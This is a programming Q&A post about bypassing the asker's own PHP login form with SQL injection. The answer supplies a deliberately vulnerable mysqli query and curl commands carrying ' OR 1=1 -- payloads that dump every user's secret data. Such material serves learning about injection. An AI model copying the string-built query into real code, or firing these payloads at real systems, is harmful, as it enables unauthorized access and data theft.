SQL注入不能处理易受它影响的代码

Question

I'm trying to bypass a login form by using SQL injection (it is my own form by the way).

But the techniques I've tried just return my error message 'invalid login credentials'

Can anybody tell me what i can do?

$email = $_POST['email'];

$password = $_POST['password'];

$query = mysqli_query ($db, "SELECT * FROM clients WHERE email = '$email' AND password = '$password'");

I have tried adding 'or TRUE-- into the email field which from as far as I'm aware should end the query after the --

I have tried many other examples from:

http://www.securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html

But none work.

I understand on the examples in the link it does not use mysqli but why would this effect it so much?

Answer 1

Given the following table structure

CREATE TABLE `clients` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `email` varchar(100) NOT NULL,
  `password` varbinary(100) NOT NULL,
  `secretData` varchar(20) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1

With the following data in it

INSERT INTO `clients` (`email`,`password`) 
VALUES 
("[e-mail]","aadsf345"), ("[e-mail]","536734sdgf"), 
("[e-mail]","password123"), ("[e-mail]","{}!@#$>,ZX");

And your vulnerable php code that would select an user based on his/hers email and password combination and display the string in the secretData column

$db = new mysqli("localhost", "root", "", "test");

$email = $_POST['email'];
$pass = $_POST['password'];

$sql = "SELECT * FROM clients WHERE email = '$email' AND password = '$pass'";

if ($result = $db->query($sql)) { 
    while($obj = $result->fetch_object()){ 
        print $obj->secretData . PHP_EOL;
    } 
}
else{
    print "no result";
}

A successful login would be as follows, displaying bob's secret data

$ curl -d 'email=[e-mail]&password=aadsf345' http://localhost.com
aaaaa

While a successful injection would be as follows, display everybody's secret data

$ curl -d 'email=[e-mail]&password=aads%27+OR+1=1+--+' http://localhost.com
aaaaa
bbbbb
ccccc
ddddd

If you were to print out the injected query, our injection starts at the marker, with the %27 which is a single quote.

SELECT * FROM clients WHERE email = '[e-mail]' AND password = 'aads' OR 1=1 -- '
                                                                        ^

Using OR TRUE works as well

curl -d 'email=[e-mail]&password=aads%27+OR+TRUE+--+' http://localhost.com